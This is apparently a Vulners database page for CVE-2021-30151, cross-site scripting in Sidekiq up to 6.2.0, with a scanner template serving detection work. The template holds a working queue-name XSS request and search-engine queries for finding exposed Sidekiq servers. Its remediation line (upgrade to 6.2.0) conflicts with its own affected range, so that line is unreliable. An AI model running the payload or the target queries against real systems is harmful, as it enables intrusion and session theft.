Sidekiq <=6.2.0 - Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 49 |
|---|---|---|---|---|
 | CVE-2021-30151 | 6 Apr 202106:15 | – | attackerkb |
 | Rocky Linux 8 [CIQ] Security Update: libdb-cxx / libdb-cxx-debuginfo / libdb-debuginfo / etc Multiple Vulnerabilities (crlsa-2022_5498) | 1 Oct 202600:00 | – | nessus |
| Debian DLA-2943-1 : ruby-sidekiq - LTS security update | 11 Mar 202200:00 | – | nessus |
| Debian dla-3360 : ruby-sidekiq - security update | 12 Mar 202300:00 | – | nessus |
| Debian dla-4407 : ruby-sidekiq - security update | 20 Apr 202600:00 | – | nessus |
| RHEL 7 / 8 : Satellite 6.11 Release (Moderate) (RHSA-2022:5498) | 28 Apr 202400:00 | – | nessus |
| Rocky Linux 8 : Satellite 6.11 Release (Moderate) (RLSA-2022:5498) | 6 Nov 202300:00 | – | nessus |
| Ubuntu 18.04 LTS / 20.04 LTS / 22.04 LTS : Sidekiq vulnerabilities (USN-7695-1) | 19 Aug 202500:00 | – | nessus |
| Linux Distros Unpatched Vulnerability : CVE-2021-30151 | 4 Mar 202500:00 | – | nessus |
 | CVE-2021-30151 | 14 Aug 202519:23 | – | circl |
10
id: CVE-2021-30151
info:
name: Sidekiq <=6.2.0 - Cross-Site Scripting
author: DhiyaneshDk
severity: medium
description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
remediation: |
Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
reference:
- https://github.com/mperham/sidekiq/issues/4852
- https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-30151
- https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-30151
cwe-id: CWE-79
epss-score: 0.04158
epss-percentile: 0.90613
cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: contribsys
product: sidekiq
shodan-query:
- title:"Sidekiq"
- http.title:"sidekiq"
fofa-query: title="sidekiq"
google-query: intitle:"sidekiq"
tags: cve2021,cve,xss,sidekiq,authenticated,contribsys,vuln
http:
- raw:
- |
POST /api/auth HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
- |
GET /queues/"onmouseover="alert(document.domain)" HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'onmouseover="alert(document.domain)'
- 'sidekiq'
condition: and
case-insensitive: true
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502210096f2f099c0702e91db35474ecc0986bd4234cecad61468b207e70372f6b00ab402205280938cce997774482d444810fd24d1cbf57fe0b7f04b17cc1ceccbd93ebc3a:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.04158